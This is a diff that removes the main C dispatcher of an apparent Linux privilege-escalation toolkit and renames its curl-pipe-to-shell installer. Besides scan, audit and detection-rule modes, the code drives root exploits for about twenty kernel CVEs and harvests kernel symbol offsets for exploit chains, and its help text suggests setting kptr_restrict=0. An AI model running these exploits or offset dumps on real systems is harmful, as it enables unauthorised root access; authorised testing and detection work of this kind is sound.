-    MODE_LIST,
-    MODE_EXPLOIT,
-    MODE_MITIGATE,
-    MODE_CLEANUP,
-    MODE_DETECT_RULES,
-    MODE_MODULE_INFO,
-    MODE_AUDIT,
-    MODE_DUMP_OFFSETS,
-    MODE_HELP,
-    MODE_VERSION,
-};
-
-enum detect_format {
-    FMT_AUDITD,
-    FMT_SIGMA,
-    FMT_YARA,
-    FMT_FALCO,
-};
-
-static const char *result_str(iamroot_result_t r)
-{
-    switch (r) {
-    case IAMROOT_OK:            return "OK";
-    case IAMROOT_TEST_ERROR:    return "ERROR";
-    case IAMROOT_VULNERABLE:    return "VULNERABLE";
-    case IAMROOT_EXPLOIT_FAIL:  return "EXPLOIT_FAIL";
-    case IAMROOT_PRECOND_FAIL:  return "PRECOND_FAIL";
-    case IAMROOT_EXPLOIT_OK:    return "EXPLOIT_OK";
-    }
-    return "?";
-}
-
-/* JSON-escape a string for inclusion in stdout output. Quick + safe:
- * escapes \" and \\ and newlines; passes through ASCII printable.
- * Caller must call json_escape_done() to free the result. */
-static char *json_escape(const char *s)
-{
-    if (s == NULL) return NULL;
-    size_t n = strlen(s);
-    char *out = malloc(n * 2 + 1);   /* worst case: every char doubles */
-    if (!out) return NULL;
-    char *p = out;
-    for (size_t i = 0; i < n; i++) {
-        unsigned char c = (unsigned char)s[i];
-        if (c == '"' || c == '\\') { *p++ = '\\'; *p++ = c; }
-        else if (c == '\n') { *p++ = '\\'; *p++ = 'n'; }
-        else if (c == '\r') { *p++ = '\\'; *p++ = 'r'; }
-        else if (c == '\t') { *p++ = '\\'; *p++ = 't'; }
-        else if (c < 0x20) { /* skip — should be rare in our strings */ }
-        else *p++ = c;
-    }
-    *p = 0;
-    return out;
-}
-
-static void emit_module_json(const struct iamroot_module *m, bool include_rules)
-{
-    char *name    = json_escape(m->name);
-    char *cve     = json_escape(m->cve);
-    char *summary = json_escape(m->summary);
-    char *family  = json_escape(m->family);
-    char *krange  = json_escape(m->kernel_range);
-    fprintf(stdout,
-        "{\"name\":\"%s\",\"cve\":\"%s\",\"family\":\"%s\","
-        "\"kernel_range\":\"%s\",\"summary\":\"%s\","
-        "\"has\":{\"detect\":%s,\"exploit\":%s,\"mitigate\":%s,\"cleanup\":%s,"
-        "\"auditd\":%s,\"sigma\":%s,\"yara\":%s,\"falco\":%s}",
-        name ? name : "",
-        cve ? cve : "",
-        family ? family : "",
-        krange ? krange : "",
-        summary ? summary : "",
-        m->detect        ? "true" : "false",
-        m->exploit       ? "true" : "false",
-        m->mitigate      ? "true" : "false",
-        m->cleanup       ? "true" : "false",
-        m->detect_auditd ? "true" : "false",
-        m->detect_sigma  ? "true" : "false",
-        m->detect_yara   ? "true" : "false",
-        m->detect_falco  ? "true" : "false");
-    if (include_rules) {
-        /* Embed the actual rule text. Useful for --module-info. */
-        char *aud = json_escape(m->detect_auditd);
-        char *sig = json_escape(m->detect_sigma);
-        char *yar = json_escape(m->detect_yara);
-        char *fal = json_escape(m->detect_falco);
-        fprintf(stdout,
-            ",\"detect_rules\":{\"auditd\":%s%s%s,\"sigma\":%s%s%s,"
-            "\"yara\":%s%s%s,\"falco\":%s%s%s}",
-            aud ? "\"" : "", aud ? aud : "null", aud ? "\"" : "",
-            sig ? "\"" : "", sig ? sig : "null", sig ? "\"" : "",
-            yar ? "\"" : "", yar ? yar : "null", yar ? "\"" : "",
-            fal ? "\"" : "", fal ? fal : "null", fal ? "\"" : "");
-        free(aud); free(sig); free(yar); free(fal);
-    }
-    fprintf(stdout, "}");
-    free(name); free(cve); free(summary); free(family); free(krange);
-}
-
-static int cmd_list(const struct iamroot_ctx *ctx)
-{
-    size_t n = iamroot_module_count();
-    if (ctx->json) {
-        fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION);
-        for (size_t i = 0; i < n; i++) {
-            if (i) fputc(',', stdout);
-            emit_module_json(iamroot_module_at(i), false);
-        }
-        fprintf(stdout, "]}\n");
-        return 0;
-    }
-    fprintf(stdout, "%-20s %-18s %-25s %s\n",
-            "NAME", "CVE", "FAMILY", "SUMMARY");
-    fprintf(stdout, "%-20s %-18s %-25s %s\n",
-            "----", "---", "------", "-------");
-    for (size_t i = 0; i < n; i++) {
-        const struct iamroot_module *m = iamroot_module_at(i);
-        fprintf(stdout, "%-20s %-18s %-25s %s\n",
-                m->name, m->cve, m->family, m->summary);
-    }
-    return 0;
-}
-
-/* --audit: system-hygiene scan beyond per-CVE detect. Inventories
- * setuid binaries, world-writable system files, capability-bound
- * non-standard binaries, NOPASSWD sudo entries. Complements --scan;
- * answers "is this box generally exposed to privesc?" beyond
- * "does it have any of the known kernel CVEs?".
- *
- * Output is structured findings. --json switches to a single JSON
- * object with arrays per category. Side-effect-free: read-only
- * filesystem walks. */
-struct finding {
-    const char *category;   /* "setuid", "world_writable", "capability", "sudo" */
-    char        path[512];
-    char        note[256];
-};
-
-static void print_finding_human(const struct finding *f)
-{
-    fprintf(stdout, "[%-15s] %-50s  %s\n",
-            f->category, f->path, f->note);
-}
-
-/* Walk one filesystem path looking for setuid-root binaries. Bounded
- * via find(1) for portability (every distro ships find). */
-static int audit_setuid(int *count_out, bool json,
-                        bool *first_json_emitted)
-{
-    /* Use popen() on `find` rather than recursive opendir() — much
-     * simpler, every distro ships find. Limit to common
-     * binary-bearing dirs to keep runtime reasonable. */
-    static const char *cmd =
-        "find /usr/bin /usr/sbin /bin /sbin /usr/local/bin /usr/local/sbin "
-        "-xdev -perm -4000 -type f 2>/dev/null";
-    FILE *p = popen(cmd, "r");
-    if (!p) return -1;
-    char line[1024];
-    int n = 0;
-    /* Set of suspicious binaries — these are notable in the LPE world.
-     * The full setuid inventory is informational; this list flags
-     * specific items as "review this". */
-    static const struct { const char *path; const char *note; } SUSP[] = {
-        {"/usr/bin/pkexec",  "Pwnkit CVE-2021-4034 history; tightly audit polkit policy"},
-        {"/usr/bin/mount.cifs", "historically setuid-root; check distro hardening"},
-        {"/usr/bin/fusermount3", "historically setuid; userns-related LPE history"},
-        {"/usr/bin/passwd",  "expected setuid; verify integrity"},
-        {"/usr/bin/sudo",    "expected setuid; verify integrity + sudoers"},
-        {"/usr/bin/su",      "expected setuid; verify integrity"},
-        {"/usr/lib/snapd/snap-confine", "Ubuntu snap sandbox-escape history"},
-        {NULL, NULL},
-    };
-    while (fgets(line, sizeof line, p)) {
-        size_t L = strlen(line);
-        while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
-        const char *note = "setuid binary — review";
-        for (size_t i = 0; SUSP[i].path; i++) {
-            if (strcmp(line, SUSP[i].path) == 0) { note = SUSP[i].note; break; }
-        }
-        if (json) {
-            char *p_esc = json_escape(line);
-            char *n_esc = json_escape(note);
-            fprintf(stdout, "%s{\"category\":\"setuid\",\"path\":\"%s\",\"note\":\"%s\"}",
-                    *first_json_emitted ? "," : "",
-                    p_esc ? p_esc : "", n_esc ? n_esc : "");
-            *first_json_emitted = true;
-            free(p_esc); free(n_esc);
-        } else {
-            struct finding f = { .category = "setuid" };
-            snprintf(f.path, sizeof f.path, "%s", line);
-            snprintf(f.note, sizeof f.note, "%s", note);
-            print_finding_human(&f);
-        }
-        n++;
-    }
-    pclose(p);
-    if (count_out) *count_out = n;
-    return 0;
-}
-
-/* Look for world-writable files inside /etc. Catches obviously-broken
- * filesystem permissions where any user can edit system config. */
-static int audit_world_writable(int *count_out, bool json,
-                                bool *first_json_emitted)
-{
-    static const char *cmd =
-        "find /etc -xdev -perm -0002 -type f 2>/dev/null";
-    FILE *p = popen(cmd, "r");
-    if (!p) return -1;
-    char line[1024];
-    int n = 0;
-    while (fgets(line, sizeof line, p)) {
-        size_t L = strlen(line);
-        while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
-        const char *note = "world-writable in /etc — anyone can edit";
-        if (json) {
-            char *p_esc = json_escape(line);
-            fprintf(stdout, "%s{\"category\":\"world_writable\",\"path\":\"%s\",\"note\":\"%s\"}",
-                    *first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
-            *first_json_emitted = true;
-            free(p_esc);
-        } else {
-            struct finding f = { .category = "world_writable" };
-            snprintf(f.path, sizeof f.path, "%s", line);
-            snprintf(f.note, sizeof f.note, "%s", note);
-            print_finding_human(&f);
-        }
-        n++;
-    }
-    pclose(p);
-    if (count_out) *count_out = n;
-    return 0;
-}
-
-/* Find files with file capabilities set. cap_setuid+ep or
- * cap_dac_override+ep on a non-standard binary = potential
- * post-exploit persistence or a misconfigured capability grant. */
-static int audit_capabilities(int *count_out, bool json,
-                              bool *first_json_emitted)
-{
-    /* getcap is in libcap2-bin / libcap-progs depending on distro;
-     * skip cleanly if absent. */
-    if (access("/sbin/getcap", X_OK) != 0
-        && access("/usr/sbin/getcap", X_OK) != 0
-        && access("/usr/bin/getcap", X_OK) != 0) {
-        if (!json) {
-            fprintf(stderr, "[i] audit: getcap not installed — skipping capability scan\n");
-        }
-        if (count_out) *count_out = 0;
-        return 0;
-    }
-    static const char *cmd =
-        "getcap -r /usr/bin /usr/sbin /bin /sbin /usr/local 2>/dev/null";
-    FILE *p = popen(cmd, "r");
-    if (!p) return -1;
-    char line[1024];
-    int n = 0;
-    while (fgets(line, sizeof line, p)) {
-        size_t L = strlen(line);
-        while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
-        const char *note = "file capability set — verify legitimacy";
-        if (strstr(line, "cap_setuid+ep") || strstr(line, "cap_setgid+ep")
-            || strstr(line, "cap_dac_override+ep") || strstr(line, "cap_sys_admin+ep")) {
-            note = "high-power cap+ep — privesc-equivalent if attacker-writable";
-        }
-        if (json) {
-            char *p_esc = json_escape(line);
-            fprintf(stdout, "%s{\"category\":\"capability\",\"path\":\"%s\",\"note\":\"%s\"}",
-                    *first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
-            *first_json_emitted = true;
-            free(p_esc);
-        } else {
-            struct finding f = { .category = "capability" };
-            snprintf(f.path, sizeof f.path, "%s", line);
-            snprintf(f.note, sizeof f.note, "%s", note);
-            print_finding_human(&f);
-        }
-        n++;
-    }
-    pclose(p);
-    if (count_out) *count_out = n;
-    return 0;
-}
-
-/* Check /etc/sudoers and /etc/sudoers.d for NOPASSWD entries. Many
- * setups have legit NOPASSWD for service accounts; flag and let
- * operator review. */
-static int audit_sudo_nopasswd(int *count_out, bool json,
-                               bool *first_json_emitted)
-{
-    static const char *cmd =
-        "grep -rIn -E '^[^#].*NOPASSWD' /etc/sudoers /etc/sudoers.d 2>/dev/null";
-    FILE *p = popen(cmd, "r");
-    if (!p) return -1;
-    char line[1024];
-    int n = 0;
-    while (fgets(line, sizeof line, p)) {
-        size_t L = strlen(line);
-        while (L && (line[L-1] == '\n' || line[L-1] == '\r')) line[--L] = 0;
-        const char *note = "sudo NOPASSWD entry — verify scope";
-        if (json) {
-            char *p_esc = json_escape(line);
-            fprintf(stdout, "%s{\"category\":\"sudo\",\"path\":\"%s\",\"note\":\"%s\"}",
-                    *first_json_emitted ? "," : "", p_esc ? p_esc : "", note);
-            *first_json_emitted = true;
-            free(p_esc);
-        } else {
-            struct finding f = { .category = "sudo" };
-            snprintf(f.path, sizeof f.path, "%s", line);
-            snprintf(f.note, sizeof f.note, "%s", note);
-            print_finding_human(&f);
-        }
-        n++;
-    }
-    pclose(p);
-    if (count_out) *count_out = n;
-    return 0;
-}
-
-static int cmd_audit(const struct iamroot_ctx *ctx)
-{
-    int n_setuid = 0, n_ww = 0, n_cap = 0, n_sudo = 0;
-    if (ctx->json) {
-        fprintf(stdout, "{\"version\":\"%s\",\"audit\":[", IAMROOT_VERSION);
-        bool first = false;
-        audit_setuid(&n_setuid, true, &first);
-        audit_world_writable(&n_ww, true, &first);
-        audit_capabilities(&n_cap, true, &first);
-        audit_sudo_nopasswd(&n_sudo, true, &first);
-        fprintf(stdout, "],\"summary\":{\"setuid\":%d,\"world_writable\":%d,"
-                        "\"capability\":%d,\"sudo_nopasswd\":%d}}\n",
-                n_setuid, n_ww, n_cap, n_sudo);
-    } else {
-        fprintf(stdout, "%-17s %-50s  %s\n", "CATEGORY", "PATH", "NOTE");
-        fprintf(stdout, "%-17s %-50s  %s\n", "--------", "----", "----");
-        bool first = false;
-        audit_setuid(&n_setuid, false, &first);
-        audit_world_writable(&n_ww, false, &first);
-        audit_capabilities(&n_cap, false, &first);
-        audit_sudo_nopasswd(&n_sudo, false, &first);
-        fprintf(stderr, "\n[*] audit summary: %d setuid, %d world-writable, "
-                        "%d capability-set, %d sudo NOPASSWD\n",
-                n_setuid, n_ww, n_cap, n_sudo);
-    }
-    return 0;
-}
-
-/* --dump-offsets: walk /proc/kallsyms + /boot/System.map for the running
- * kernel and emit a ready-to-paste C struct entry for kernel_table[] in
- * core/offsets.c. Operators run this once on a kernel they have root on
- * (or kptr_restrict=0), then upstream the entry so --full-chain works
- * out-of-the-box on that build for everyone. */
-static int cmd_dump_offsets(const struct iamroot_ctx *ctx)
-{
-    (void)ctx;
-    struct iamroot_kernel_offsets off;
-    int n = iamroot_offsets_resolve(&off);
-
-    if (off.kbase == 0) {
-        fprintf(stderr,
-"[-] dump-offsets: couldn't resolve a kernel base address.\n"
-"\n"
-"    /proc/kallsyms returned all-zero addresses (kptr_restrict is\n"
-"    enforcing). /boot/System.map-%s wasn't readable either.\n"
-"\n"
-"    Try one of:\n"
-"      sudo iamroot --dump-offsets\n"
-"      sudo sysctl kernel.kptr_restrict=0; iamroot --dump-offsets\n"
-"      sudo chmod 0644 /boot/System.map-$(uname -r); iamroot --dump-offsets\n",
-            off.kernel_release[0] ? off.kernel_release : "$(uname -r)");
-        return 1;
-    }
-    if (n == 0) {
-        fprintf(stderr,
-"[-] dump-offsets: kbase resolved but no symbols. Sources tried: env,\n"
-"    /proc/kallsyms, /boot/System.map. Check that the kernel symbols\n"
-"    you need (modprobe_path / init_task / poweroff_cmd) actually exist\n"
-"    in the symbol files.\n");
-        return 1;
-    }
-
-    time_t now = time(NULL);
-    struct tm tm; localtime_r(&now, &tm);
-
-    fprintf(stdout,
-"/* Generated %04d-%02d-%02d by `iamroot --dump-offsets`.\n"
-" * Host kernel: %s%s%s\n"
-" * Resolved fields: modprobe_path=%s init_task=%s cred=%s\n"
-" * Paste this entry into kernel_table[] in core/offsets.c.\n"
-" */\n",
-        tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday,
-        off.kernel_release,
-        off.distro[0] ? "  distro=" : "",
-        off.distro[0] ? off.distro : "",
-        iamroot_offset_source_name(off.source_modprobe),
-        iamroot_offset_source_name(off.source_init_task),
-        iamroot_offset_source_name(off.source_cred));
-
-    fprintf(stdout,
-"{ .release_glob       = \"%s\",\n", off.kernel_release);
-    if (off.distro[0]) {
-        fprintf(stdout,
-"  .distro_match       = \"%s\",\n", off.distro);
-    } else {
-        fprintf(stdout,
-"  .distro_match       = NULL,\n");
-    }
-    if (off.modprobe_path) {
-        fprintf(stdout,
-"  .rel_modprobe_path  = 0x%lx,\n",
-            (unsigned long)(off.modprobe_path - off.kbase));
-    }
-    if (off.poweroff_cmd) {
-        fprintf(stdout,
-"  .rel_poweroff_cmd   = 0x%lx,\n",
-            (unsigned long)(off.poweroff_cmd - off.kbase));
-    }
-    if (off.init_task) {
-        fprintf(stdout,
-"  .rel_init_task      = 0x%lx,\n",
-            (unsigned long)(off.init_task - off.kbase));
-    }
-    if (off.init_cred) {
-        fprintf(stdout,
-"  .rel_init_cred      = 0x%lx,\n",
-            (unsigned long)(off.init_cred - off.kbase));
-    }
-    if (off.cred_offset_real) {
-        fprintf(stdout,
-"  .cred_offset_real   = 0x%x,\n", off.cred_offset_real);
-    }
-    if (off.cred_offset_eff) {
-        fprintf(stdout,
-"  .cred_offset_eff    = 0x%x,\n", off.cred_offset_eff);
-    }
-    fprintf(stdout,
-"},\n");
-
-    fprintf(stderr,
-"\n[+] dumped %d resolved fields. Verify offsets, then upstream this\n"
-"    entry via a PR to https://github.com/KaraZajac/IAMROOT.\n", n);
-    return 0;
-}
-
-/* --module-info <name>: dump everything we know about one module.
- * Human-readable by default, JSON with --json. Includes the full
- * detection-rule text bodies for that module. */
-static int cmd_module_info(const char *name, const struct iamroot_ctx *ctx)
-{
-    const struct iamroot_module *m = iamroot_module_find(name);
-    if (!m) {
-        if (ctx->json) {
-            fprintf(stdout, "{\"error\":\"module not found\",\"name\":\"%s\"}\n", name);
-        } else {
-            fprintf(stderr, "[-] no module '%s'. Try --list.\n", name);
-        }
-        return 1;
-    }
-    if (ctx->json) {
-        emit_module_json(m, true);
-        fputc('\n', stdout);
-        return 0;
-    }
-    fprintf(stdout, "name:          %s\n", m->name);
-    fprintf(stdout, "cve:           %s\n", m->cve);
-    fprintf(stdout, "family:        %s\n", m->family);
-    fprintf(stdout, "kernel_range:  %s\n", m->kernel_range);
-    fprintf(stdout, "summary:       %s\n", m->summary);
-    fprintf(stdout, "operations:    %s%s%s%s\n",
-        m->detect   ? "detect "   : "",
-        m->exploit  ? "exploit "  : "",
-        m->mitigate ? "mitigate " : "",
-        m->cleanup  ? "cleanup "  : "");
-    fprintf(stdout, "detect rules:  %s%s%s%s\n",
-        m->detect_auditd ? "auditd " : "",
-        m->detect_sigma  ? "sigma "  : "",
-        m->detect_yara   ? "yara "   : "",
-        m->detect_falco  ? "falco "  : "");
-    if (m->detect_auditd) {
-        fprintf(stdout, "\n--- auditd rules ---\n%s", m->detect_auditd);
-    }
-    if (m->detect_sigma) {
-        fprintf(stdout, "\n--- sigma rule ---\n%s", m->detect_sigma);
-    }
-    return 0;
-}
-
-static int cmd_scan(const struct iamroot_ctx *ctx)
-{
-    int worst = 0;
-    size_t n = iamroot_module_count();
-    if (!ctx->json) {
-        fprintf(stderr, "[*] iamroot scan: %zu module(s) registered\n", n);
-    } else {
-        fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION);
-    }
-    for (size_t i = 0; i < n; i++) {
-        const struct iamroot_module *m = iamroot_module_at(i);
-        if (m->detect == NULL) continue;
-        iamroot_result_t r = m->detect(ctx);
-        if (ctx->json) {
-            fprintf(stdout, "%s{\"name\":\"%s\",\"cve\":\"%s\",\"result\":\"%s\"}",
-                    (i == 0 ? "" : ","), m->name, m->cve, result_str(r));
-        } else {
-            fprintf(stdout, "[%s] %-20s  %-18s  %s\n",
-                    result_str(r), m->name, m->cve, m->summary);
-        }
-        /* track worst (highest) result code as overall exit */
-        if ((int)r > worst) worst = (int)r;
-    }
-    if (ctx->json) {
-        fprintf(stdout, "]}\n");
-    }
-    return worst;
-}
-
-/* Dump detection rules for every registered module in the requested
- * format. Modules that don't ship a rule for that format are simply
- * skipped (no error). Output goes to stdout so it can be redirected
- * straight into /etc/audit/rules.d/, the SIEM, etc. */
-static int cmd_detect_rules(enum detect_format fmt)
-{
-    static const char *fmt_names[] = {
-        [FMT_AUDITD] = "auditd",
-        [FMT_SIGMA]  = "sigma",
-        [FMT_YARA]   = "yara",
-        [FMT_FALCO]  = "falco",
-    };
-    size_t n = iamroot_module_count();
-    fprintf(stdout, "# IAMROOT detection rules — format: %s\n", fmt_names[fmt]);
-    fprintf(stdout, "# Generated from %zu registered modules\n", n);
-    fprintf(stdout, "# AUTHORIZED-TESTING tool; see docs/ETHICS.md\n\n");
-    /* Dedup by pointer: family-shared rule strings (e.g. all 5
-     * copy_fail_family modules share one auditd rule string) would
-     * otherwise emit identical blocks once per module. */
-    const char *seen[64] = {0};
-    size_t n_seen = 0;
-    int emitted = 0;
-    for (size_t i = 0; i < n; i++) {
-        const struct iamroot_module *m = iamroot_module_at(i);
-        const char *rules = NULL;
-        switch (fmt) {
-        case FMT_AUDITD: rules = m->detect_auditd; break;
-        case FMT_SIGMA:  rules = m->detect_sigma;  break;
-        case FMT_YARA:   rules = m->detect_yara;   break;
-        case FMT_FALCO:  rules = m->detect_falco;  break;
-        }
-        if (rules == NULL) continue;
-        /* Already emitted? */
-        bool dup = false;
-        for (size_t k = 0; k < n_seen; k++) {
-            if (seen[k] == rules) { dup = true; break; }
-        }
-        if (dup) {
-            fprintf(stdout, "# === %s (%s) — see family rules above ===\n\n",
-                    m->name, m->cve);
-            continue;
-        }
-        if (n_seen < sizeof(seen)/sizeof(seen[0])) seen[n_seen++] = rules;
-        fprintf(stdout, "# === %s (%s) ===\n", m->name, m->cve);
-        fputs(rules, stdout);
-        fputc('\n', stdout);
-        emitted++;
-    }
-    fprintf(stderr, "[*] emitted detection rules for %d / %zu module(s) (format: %s)\n",
-            emitted, n, fmt_names[fmt]);
-    return 0;
-}
-
-static int cmd_one(const struct iamroot_module *m, const char *op,
-                   const struct iamroot_ctx *ctx)
-{
-    iamroot_result_t (*fn)(const struct iamroot_ctx *) = NULL;
-    if (strcmp(op, "exploit") == 0)        fn = m->exploit;
-    else if (strcmp(op, "mitigate") == 0)  fn = m->mitigate;
-    else if (strcmp(op, "cleanup") == 0)   fn = m->cleanup;
-
-    if (fn == NULL) {
-        fprintf(stderr, "[-] module '%s' has no %s operation\n", m->name, op);
-        return 1;
-    }
-    iamroot_result_t r = fn(ctx);
-    fprintf(stderr, "[*] %s --%s result: %s\n", m->name, op, result_str(r));
-    return (int)r;
-}
-
-int main(int argc, char **argv)
-{
-    /* Bring up the module registry. As new families land, add their
-     * register_* call here. */
-    iamroot_register_copy_fail_family();
-    iamroot_register_dirty_pipe();
-    iamroot_register_entrybleed();
-    iamroot_register_pwnkit();
-    iamroot_register_nf_tables();
-    iamroot_register_overlayfs();
-    iamroot_register_cls_route4();
-    iamroot_register_dirty_cow();
-    iamroot_register_ptrace_traceme();
-    iamroot_register_netfilter_xtcompat();
-    iamroot_register_af_packet();
-    iamroot_register_fuse_legacy();
-    iamroot_register_stackrot();
-    iamroot_register_af_packet2();
-    iamroot_register_cgroup_release_agent();
-    iamroot_register_overlayfs_setuid();
-    iamroot_register_nft_set_uaf();
-    iamroot_register_af_unix_gc();
-    iamroot_register_nft_fwd_dup();
-    iamroot_register_nft_payload();
-
-    enum mode mode = MODE_SCAN;
-    struct iamroot_ctx ctx = {0};
-    const char *target = NULL;
-    int i_know = 0;
-
-    enum detect_format dr_fmt = FMT_AUDITD;
-    static struct option longopts[] = {
-        {"scan",          no_argument,       0, 'S'},
-        {"list",          no_argument,       0, 'L'},
-        {"exploit",       required_argument, 0, 'E'},
-        {"mitigate",      required_argument, 0, 'M'},
-        {"cleanup",       required_argument, 0, 'C'},
-        {"detect-rules",  no_argument,       0, 'D'},
-        {"module-info",   required_argument, 0, 'I'},
-        {"audit",         no_argument,       0, 'A'},
-        {"dump-offsets",  no_argument,       0,  8 },
-        {"format",        required_argument, 0,  6 },
-        {"i-know",        no_argument,       0,  1 },
-        {"active",        no_argument,       0,  2 },
-        {"no-shell",      no_argument,       0,  3 },
-        {"json",          no_argument,       0,  4 },
-        {"no-color",      no_argument,       0,  5 },
-        {"full-chain",    no_argument,       0,  7 },
-        {"version",       no_argument,       0, 'V'},
-        {"help",          no_argument,       0, 'h'},
-        {0, 0, 0, 0}
-    };
-
-    int c, opt_idx;
-    while ((c = getopt_long(argc, argv, "SLDAE:M:C:I:Vh", longopts, &opt_idx)) != -1) {
-        switch (c) {
-        case 'S': mode = MODE_SCAN; break;
-        case 'L': mode = MODE_LIST; break;
-        case 'D': mode = MODE_DETECT_RULES; break;
-        case 'A': mode = MODE_AUDIT; break;
-        case 'I': mode = MODE_MODULE_INFO; target = optarg; break;
-        case 'E': mode = MODE_EXPLOIT; target = optarg; break;
-        case 'M': mode = MODE_MITIGATE; target = optarg; break;
-        case 'C': mode = MODE_CLEANUP; target = optarg; break;
-        case  1 : i_know = 1; ctx.authorized = true; break;
-        case  2 : ctx.active_probe = true; break;
-        case  3 : ctx.no_shell = true; break;
-        case  4 : ctx.json = true; break;
-        case  5 : ctx.no_color = true; break;
-        case  7 : ctx.full_chain = true; break;
-        case  8 : mode = MODE_DUMP_OFFSETS; break;
-        case  6 :
-            if      (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
-            else if (strcmp(optarg, "sigma")  == 0) dr_fmt = FMT_SIGMA;
-            else if (strcmp(optarg, "yara")   == 0) dr_fmt = FMT_YARA;
-            else if (strcmp(optarg, "falco")  == 0) dr_fmt = FMT_FALCO;
-            else { fprintf(stderr, "[-] unknown --format: %s\n", optarg); return 1; }
-            break;
-        case 'V': printf("iamroot %s\n", IAMROOT_VERSION); return 0;
-        case 'h': mode = MODE_HELP; break;
-        default: usage(argv[0]); return 1;
-        }
-    }
-
-    if (mode == MODE_HELP) {
-        fputs(BANNER, stderr);
-        usage(argv[0]);
-        return 0;
-    }
-
-    if (!ctx.json) fputs(BANNER, stderr);
-
-    if (mode == MODE_SCAN) return cmd_scan(&ctx);
-    if (mode == MODE_LIST) return cmd_list(&ctx);
-    if (mode == MODE_MODULE_INFO) return cmd_module_info(target, &ctx);
-    if (mode == MODE_DETECT_RULES) return cmd_detect_rules(dr_fmt);
-    if (mode == MODE_AUDIT) return cmd_audit(&ctx);
-    if (mode == MODE_DUMP_OFFSETS) return cmd_dump_offsets(&ctx);
-
-    /* --exploit / --mitigate / --cleanup all take a target */
-    if (target == NULL) {
-        fprintf(stderr, "[-] mode requires a module name\n");
-        return 1;
-    }
-    const struct iamroot_module *m = iamroot_module_find(target);
-    if (m == NULL) {
-        fprintf(stderr, "[-] no module '%s'. Try --list.\n", target);
-        return 1;
-    }
-
-    if (mode == MODE_EXPLOIT) {
-        if (!i_know) {
-            fprintf(stderr,
-                "[-] --exploit requires --i-know. This will attempt to gain\n"
-                "    root and corrupt /etc/passwd in the page cache.\n"
-                "    Authorized testing only. See docs/ETHICS.md.\n");
-            return 1;
-        }
-        return cmd_one(m, "exploit", &ctx);
-    }
-    if (mode == MODE_MITIGATE) return cmd_one(m, "mitigate", &ctx);
-    if (mode == MODE_CLEANUP)  return cmd_one(m, "cleanup",  &ctx);
-
-    usage(argv[0]);
-    return 1;
-}

install.sh

@@ -1,50 +1,73 @@
 #!/usr/bin/env bash
-# IAMROOT one-shot installer.
+# SKELETONKEY one-shot installer.
 #
 # Usage:
-#   curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
+#   curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
 #
 # Or with explicit version:
-#   IAMROOT_VERSION=v0.1.0 curl ... | sh
+#   SKELETONKEY_VERSION=v0.1.0 curl ... | sh
 #
 # Or install to a different prefix:
-#   IAMROOT_PREFIX=$HOME/.local/bin curl ... | sh
+#   SKELETONKEY_PREFIX=$HOME/.local/bin curl ... | sh
 #
 # Environment:
-#   IAMROOT_VERSION   release tag (default: latest)
-#   IAMROOT_PREFIX    install dir   (default: /usr/local/bin if writable, else error)
-#   IAMROOT_REPO      override repo (default: KaraZajac/IAMROOT)
+#   SKELETONKEY_VERSION   release tag (default: latest)
+#   SKELETONKEY_PREFIX    install dir   (default: /usr/local/bin if writable, else error)
+#   SKELETONKEY_REPO      override repo (default: KaraZajac/SKELETONKEY)
 #
 # Exit codes:
 #   0 — installed successfully
 #   1 — error (unsupported arch, download failure, permission denied)
 
-set -euo pipefail
+# POSIX-friendly: -eu is universal, pipefail only on shells that
+# support it (bash, ksh, dash >= 0.5.12). Without pipefail the
+# installer still exits on the first hard error since every curl/
+# tar/install step is checked explicitly.
+set -eu
+(set -o pipefail) 2>/dev/null && set -o pipefail || true
 
-REPO="${IAMROOT_REPO:-KaraZajac/IAMROOT}"
-VERSION="${IAMROOT_VERSION:-latest}"
-PREFIX="${IAMROOT_PREFIX:-/usr/local/bin}"
+REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
+VERSION="${SKELETONKEY_VERSION:-latest}"
+PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
 
 log()   { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
 ok()    { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
 fail()  { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
 
-# Detect architecture
+# Detect architecture. Default to the musl-static binary on both
+# x86_64 and arm64 — works on every libc (glibc 2.x of any version,
+# musl, uclibc); costs ~800 KB extra vs dynamic but eliminates the
+# GLIBC_2.NN portability ceiling that bites on Debian-stable, older
+# RHEL hosts, and Alpine. Set SKELETONKEY_DYNAMIC=1 to fetch the
+# smaller dynamic build (needs glibc >= 2.38 for x86_64 — Ubuntu
+# 24.04 / Debian 13 / RHEL 10).
 arch=$(uname -m)
 case "$arch" in
-    x86_64|amd64)        target=x86_64 ;;
-    aarch64|arm64)       target=arm64  ;;
+    x86_64|amd64)
+        if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
+            target=x86_64
+        else
+            target=x86_64-static
+        fi
+        ;;
+    aarch64|arm64)
+        if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
+            target=arm64
+        else
+            target=arm64-static
+        fi
+        ;;
     *) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
 esac
 log "detected arch: $target"
 
 # Resolve version → download URL
 if [ "$VERSION" = "latest" ]; then
-    url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}"
-    sha_url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}.sha256"
+    url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}"
+    sha_url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}.sha256"
 else
-    url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}"
-    sha_url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}.sha256"
+    url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}"
